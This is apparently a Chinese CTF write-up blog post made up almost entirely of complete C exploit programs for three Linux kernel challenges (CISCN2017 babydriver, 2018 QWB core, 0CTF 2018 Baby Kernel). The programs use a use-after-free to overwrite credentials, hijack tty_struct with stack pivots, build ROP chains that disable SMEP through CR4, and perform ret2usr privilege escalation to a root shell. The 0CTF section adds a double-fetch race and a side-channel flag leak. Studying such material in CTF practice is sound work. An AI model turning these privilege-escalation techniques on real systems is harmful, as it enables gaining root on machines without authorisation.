前言
最近也是一直在摆大烂,就把CTF WiKi上关于Linux Kernel的题做了一遍,不过每题我都写了两三种不同的思路。
CISCN2017-babydriver
思路一:利用UAF漏洞(开了SMEP和SMAP都能打)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
int main()
{
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
ioctl(fd1, 0x10001, 0xa8);
close(fd1);
int pid = fork();
char zeros[30] = {0};
write(fd2, zeros, 28);
if(pid == 0) system("/bin/sh"); else wait(NULL);
return 0;
}
思路二:劫持tty_struct+栈迁移+打ROP改CR4绕过SMEP+ret2usr
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
size_t driver_base = 0xffffffffc0000000, vmlinux_base = 0xffffffff81000000;
size_t commit_creds_addr = 0xffffffff810a1420, prepare_kernel_cred_addr = 0xffffffff810a1810;
size_t tty_struct[5] = {0}, rop[30] = {0};
size_t *fake_ops[30] = {0};
void get_root()
{
// commit_creds(prepare_kernel_cred(0))
char *(*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char *) = commit_creds_addr;
(*cc)((*pkc)(0));
}
void get_shell()
{
system("/bin/sh");
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp)
:
: "memory"
);
}
int main()
{
save_status();
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
int fd3 = open("/dev/ptmx", O_RDWR | O_NOCTTY);
size_t xchg_eax_esp_addr = 0xffffffff816161c8; // xchg eax, esp; ret;
fake_ops[12] = xchg_eax_esp_addr; // ioctl rax
read(fd2, tty_struct, 0x20);
tty_struct[3] = (size_t)fake_ops;
write(fd2, tty_struct, 0x20);
size_t esp_addr = xchg_eax_esp_addr & 0xffffffff;
size_t base_addr = esp_addr & ~0xfff;
mmap(base_addr, 0x1000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int cnt = 0;
size_t pop_rdi_addr = 0xffffffff810d238d;
rop[cnt++] = pop_rdi_addr; // pop rdi; ret;
rop[cnt++] = 0x6f0; // cr4 with smep disabled
size_t mov_cr4_rdi_addr = 0xffffffff81004d80;
rop[cnt++] = mov_cr4_rdi_addr; // mov cr4, rdi; pop rbp; ret;
rop[cnt++] = 0; // rbp
rop[cnt++] = (size_t)get_root;
size_t swapgs_addr = 0xffffffff81063694;
rop[cnt++] = swapgs_addr; // swapgs; pop rbp; ret;
rop[cnt++] = 0; // rbp
size_t iretq_addr = 0xffffffff814e35ef;
rop[cnt++] = iretq_addr; // iretq; ret;
rop[cnt++] = (size_t)get_shell;
rop[cnt++] = user_cs;
rop[cnt++] = user_rflags;
rop[cnt++] = user_sp;
rop[cnt++] = user_ss;
memcpy(esp_addr, rop, sizeof(rop));
ioctl(fd3, 0, 0); // call rax
return 0;
}
思路三:与思路二tty_operations改的位置和配合的栈迁移方式不同
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
size_t driver_base = 0xffffffffc0000000, vmlinux_base = 0xffffffff81000000;
size_t commit_creds_addr = 0xffffffff810a1420, prepare_kernel_cred_addr = 0xffffffff810a1810;
size_t tty_struct[5] = {0}, rop[30] = {0};
size_t *fake_ops[30] = {0};
void get_root()
{
// commit_creds(prepare_kernel_cred(0))
char *(*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char *) = commit_creds_addr;
(*cc)((*pkc)(0));
}
void get_shell()
{
system("/bin/sh");
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp)
:
: "memory"
);
}
int main()
{
save_status();
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
int fd3 = open("/dev/ptmx", O_RDWR | O_NOCTTY);
int cnt = 0;
size_t pop_rdi_addr = 0xffffffff810d238d;
rop[cnt++] = pop_rdi_addr; // pop rdi; ret;
rop[cnt++] = 0x6f0; // cr4 with smep disabled
size_t mov_cr4_rdi_addr = 0xffffffff81004d80;
rop[cnt++] = mov_cr4_rdi_addr; // mov cr4, rdi; pop rbp; ret;
rop[cnt++] = 0; // rbp
rop[cnt++] = (size_t)get_root;
size_t swapgs_addr = 0xffffffff81063694;
rop[cnt++] = swapgs_addr; // swapgs; pop rbp; ret;
rop[cnt++] = 0; // rbp
size_t iretq_addr = 0xffffffff814e35ef;
rop[cnt++] = iretq_addr; // iretq; ret;
rop[cnt++] = (size_t)get_shell;
rop[cnt++] = user_cs;
rop[cnt++] = user_rflags;
rop[cnt++] = user_sp;
rop[cnt++] = user_ss;
size_t mov_rsp_rax_addr = 0xffffffff8181bfc5; // mov rsp, rax; dec ebx; ret
fake_ops[7] = mov_rsp_rax_addr; // write ( rax: &fake_ops[0] )
size_t pop_rax_addr = 0xffffffff8100ce6e; // pop rax; ret;
fake_ops[0] = pop_rax_addr;
fake_ops[1] = (size_t)rop;
fake_ops[2] = mov_rsp_rax_addr;
read(fd2, tty_struct, 0x20);
tty_struct[3] = (size_t)fake_ops;
write(fd2, tty_struct, 0x20);
write(fd3, "attack", 6); // trigger
return 0;
}
2018 强网杯 core
思路一:栈溢出+ROP提权
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define SIGSEGV 11
int fd;
char leak[0x50];
size_t canary, driver_base, vmlinux_base;
size_t rop[0x30];
void core_read(char *buf)
{
ioctl(fd, 0x6677889B, buf);
}
void set_off(int v1)
{
ioctl(fd, 0x6677889c, v1);
}
void core_write(char *buf, int a3)
{
write(fd, buf, a3);
}
void core_copy_func(long long size)
{
ioctl(fd, 0x6677889a, size);
}
void get_shell()
{
system("/bin/sh");
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp)
:
: "memory"
);
}
int main()
{
save_status();
fd = open("/proc/core", 2);
set_off(0x40);
core_read(leak);
canary = *(size_t *)(&leak[0]);
driver_base = *(size_t *)(&leak[0x10]) - 0x19b;
vmlinux_base = *(size_t *)(&leak[0x20]) - 0x1dd6d1;
printf("canary:\t%p\ndriver_base:\t%p\nvmlinux_base:\t%p\n", canary, driver_base, vmlinux_base);
size_t prepare_kernel_cred_addr = vmlinux_base + 0x9cce0;
size_t commit_creds_addr = vmlinux_base + 0x9c8e0;
int cnt = 8;
rop[cnt++] = canary; //canary
rop[cnt++] = 0; //rbp
rop[cnt++] = vmlinux_base + 0xb2f; //pop_rdi_ret;
rop[cnt++] = 0; //rdi
rop[cnt++] = prepare_kernel_cred_addr;
rop[cnt++] = vmlinux_base + 0x6a6e7; //mov_rdi_rax_..._ret
rop[cnt++] = commit_creds_addr;
rop[cnt++] = driver_base + 0xd6; //swapgs_pop_rbp_ret
rop[cnt++] = 0; //rbp
rop[cnt++] = vmlinux_base + 0x50ac2; //iretp_ret
rop[cnt++] = (size_t)get_shell;
rop[cnt++] = user_cs;
rop[cnt++] = user_rflags;
rop[cnt++] = user_sp;
rop[cnt++] = user_ss;
core_write(rop, 0x100);
//signal(SIGSEGV, (size_t)get_shell); [开KPTI]
core_copy_func(0xf000000000000100);
return 0;
}
思路二:栈溢出+ret2usr提权
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
int fd;
char leak[0x50];
size_t canary, driver_base, vmlinux_base;
size_t commit_creds_addr, prepare_kernel_cred_addr;
size_t rop[0x30];
void core_read(char *buf)
{
ioctl(fd, 0x6677889B, buf);
}
void set_off(int v1)
{
ioctl(fd, 0x6677889c, v1);
}
void core_write(char *buf, int a3)
{
write(fd, buf, a3);
}
void core_copy_func(long long size)
{
ioctl(fd, 0x6677889a, size);
}
void get_root()
{
// commit_creds(prepare_kernel_cred(0))
char *(*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char *) = commit_creds_addr;
(*cc)((*pkc)(0));
}
void get_shell()
{
system("/bin/sh");
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp)
:
: "memory"
);
}
int main()
{
save_status();
fd = open("/proc/core", 2);
set_off(0x40);
core_read(leak);
canary = *(size_t *)(&leak[0]);
driver_base = *(size_t *)(&leak[0x10]) - 0x19b;
vmlinux_base = *(size_t *)(&leak[0x20]) - 0x1dd6d1;
printf("canary:\t%p\ndriver_base:\t%p\nvmlinux_base:\t%p\n", canary, driver_base, vmlinux_base);
prepare_kernel_cred_addr = vmlinux_base + 0x9cce0;
commit_creds_addr = vmlinux_base + 0x9c8e0;
int cnt = 8;
rop[cnt++] = canary; //canary
rop[cnt++] = 0; //rbp
rop[cnt++] = (size_t)get_root;
rop[cnt++] = driver_base + 0xd6; //swapgs_pop_rbp_ret
rop[cnt++] = 0; //rbp
rop[cnt++] = vmlinux_base + 0x50ac2; //iretp_ret
rop[cnt++] = (size_t)get_shell;
rop[cnt++] = user_cs;
rop[cnt++] = user_rflags;
rop[cnt++] = user_sp;
rop[cnt++] = user_ss;
core_write(rop, 0x100);
core_copy_func(0xf000000000000100);
return 0;
}
2018 0CTF Finals Baby Kernel
思路一:条件竞争
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <pthread.h>
size_t flag_addr;
int sign = 1;
struct flag_information
{
char *addr;
int len;
}my_flag;
void change_flag_addr(struct flag_information *my_flag)
{
while(sign)
{
my_flag -> addr = flag_addr;
}
}
int main()
{
int fd = open("/dev/baby", O_RDWR);
ioctl(fd, 0x6666);
system(" dmesg | grep 'Your flag is at' > /tmp/flag.txt ");
int file_fd = open("/tmp/flag.txt", O_RDONLY);
char buf[150] = {0};
read(file_fd, buf, 100);
char *pos = strstr(buf, "ffffffff");
flag_addr = strtoull(pos, pos+16, 16);
printf("flag_addr: %p\n", flag_addr);
close(file_fd);
char fake_flag[] = "flag{winmt}";
my_flag.addr = fake_flag;
my_flag.len = 33;
pthread_t malicious_thread;
pthread_create(&malicious_thread, NULL, change_flag_addr, &my_flag);
int times = 1000;
for(int i=1;i<=times;i++)
{
ioctl(fd, 0x1337, &my_flag);
my_flag.addr = fake_flag;
}
sign = 0;
pthread_join(malicious_thread, NULL);
close(fd);
system(" dmesg | grep 'So here is it' > /tmp/flag.txt ");
file_fd = open("/tmp/flag.txt", O_RDONLY);
read(file_fd, buf, 120);
pos = strstr(buf, "flag{");
if(!pos)
{
printf("Failed. Please try again!\n");
exit(0);
}
printf("Success! The flag: %s\n", pos);
close(file_fd);
return 0;
}
思路二:侧信道攻击
// start.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
char table[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_}";
int main()
{
char flag[100] = {0};
printf("Please input the flag you have got:\n");
scanf("%s", &flag);
for(int i=0;i<strlen(table);i++)
{
char tmp[100] = {0};
strcpy(tmp, flag);
char try_flag[100] = {0};
sprintf(try_flag, "%s%c", tmp, table[i]);
printf("%s\n", try_flag);
sleep(1);
char cmd[100] = {0};
sprintf(cmd, "./try %s", try_flag);
system(cmd);
}
return 0;
}
// try.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
struct flag_information
{
char *addr;
int len;
}my_flag;
int main(int argc, char *argv[])
{
char *buf;
buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
mmap(buf+0x1000, 0x1000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
int len = strlen(argv[1]);
for(int i=0;i<len;i++) buf[0x1000-len+i] = argv[1][i];
my_flag.addr = buf+0x1000-len;
my_flag.len = 33;
int fd = open("/dev/baby", O_RDWR);
ioctl(fd, 0x1337, &my_flag);
close(fd);
return 0;
}